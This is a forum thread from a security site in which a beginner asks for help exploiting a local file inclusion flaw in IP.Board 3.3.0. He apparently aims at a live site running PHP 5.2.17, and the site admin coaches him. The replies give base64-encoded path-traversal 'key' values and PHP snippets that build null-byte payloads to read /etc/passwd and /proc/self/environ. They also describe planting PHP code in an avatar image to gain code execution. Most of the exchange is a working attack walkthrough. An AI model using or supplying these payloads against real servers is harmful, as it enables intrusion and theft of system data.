|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 80
Members: 0
Total: 80
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Ipboard 3.3.0 lfi exploit |
|
Posted: Fri Sep 14, 2012 1:30 pm |
|
|
supertata2 |
Beginner |
|
|
Joined: Sep 14, 2012 |
Posts: 3 |
|
|
|
|
|
|
|
http://www.waraxe.us/content-86.html
i have some questions which confuses me
i have some questions hopefully someone nice will answer me
Quote: | Attacker uploads avatar picture with malicious php code to target server |
how can i upload the php script via avatar picture?
how can i execute proc/self/environ via the exploit?
thank you very much |
|
|
|
|
Posted: Fri Sep 14, 2012 8:13 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Posted: Sat Sep 15, 2012 12:14 am |
|
|
supertata2 |
Beginner |
|
|
Joined: Sep 14, 2012 |
Posts: 3 |
|
|
|
|
|
|
|
thank you for the links on the gif uploading tutorial
i still have some questions about proc/self/environ
i read the tutorial and it seems like i am supposed to do this
index.php?app=core&module=global§ion=like%20%20&do=unsubscribe&key=proc/self/environ
which doesn't work since ipb checks for real login users and email
i tried encrypting it and it doesn't work also
i also tried something like
proc/self/environ;supertata2;32;32;32;supertata@hotmail.com
forums;supertata2;32;32;32;supertata@hotmail.com
according to this line where am i supposed to put the proc/self/environ?
thank you so much |
|
|
|
|
|
|
|
|
Posted: Sun Sep 16, 2012 3:47 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
First of all, there are preconditions listed in advisory:
Preconditions:
1. attacker must be logged in as valid user
2. PHP must be < 5.3.4 for null-byte attacks to work
If you want to use uploaded picture with php code inside or
"/proc/self/environ", then you need null byte and newer php
versions are protected against this type of attack.
What php version it is?
Next, you need carefully constructed GET parameter "key".
And it must be base64 encoded!
User id is 32 and email is supertata@hotmail.com?
Then first you need semicolon separated string like this:
forums;/../../test;1;32;32;supertata@hotmail.com
Use base64 encoder:
http://base64-encoder-online.waraxe.us/
And you get:
Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MzI7MzI7c3VwZXJ0YXRhQGhvdG1haWwuY29t
Now issue GET request:
index.php?app=core&module=global§ion=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MzI7MzI7c3VwZXJ0YXRhQGhvdG1haWwuY29t
Do you see error message "Fatal error: Uncaught exception" as result?
If you don't see that message, then something is wrong - target may be
not exploitable or you did something wrong.
If you see specific error message, then you can do next test. |
|
|
|
|
|
|
|
|
Posted: Mon Sep 17, 2012 1:45 pm |
|
|
supertata2 |
Beginner |
|
|
Joined: Sep 14, 2012 |
Posts: 3 |
|
|
|
|
|
|
|
yes i do see the error message
i now understand about uploading the null byte
but i still don't understand the next step
what is this line /../../test? is it the path / folder of the file?
how can i call the php file?
php version of the site is:5.2.17
thank you again |
|
|
|
|
|
|
|
|
Posted: Tue Sep 18, 2012 11:15 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
According to php version it may be possible to use null bytes.
Now there is one thing, that makes exploitation little bit harder - we need
base64 encoder, which does accept null bytes. Online encoder usually do not
offer such functionality. One way to solve this problem is using your
own custom made base64 encoder:
<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../../../../../../../../../../etc/passwd\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>
And you will get base64 encoded string:
Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkADsxOzMyOzMyO3N1cGVydGF0YUBob3RtYWlsLmNvbQ
Try to use that and you may be able to get the contents of "/etc/passwd" file.
<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../../../../../../../../../../proc/self/environ\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>
Base64 encoded string:
Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcm9jL3NlbGYvZW52aXJvbgA7MTszMjszMjtzdXBlcnRhdGFAaG90bWFpbC5jb20
In case of success you will see specific response, revealing some environment variables.
And finally let's try using profile picture with php payload:
<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../uploads/profile/photo-32.jpg\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>
Base64 encoded string:
Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi91cGxvYWRzL3Byb2ZpbGUvcGhvdG8tMzIuanBnADsxOzMyOzMyO3N1cGVydGF0YUBob3RtYWlsLmNvbQ
Choose jpg picture with size smaller than 100x100 px, add php payload and then
upload as profile picture. Use example above and you should get php level access. |
|
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|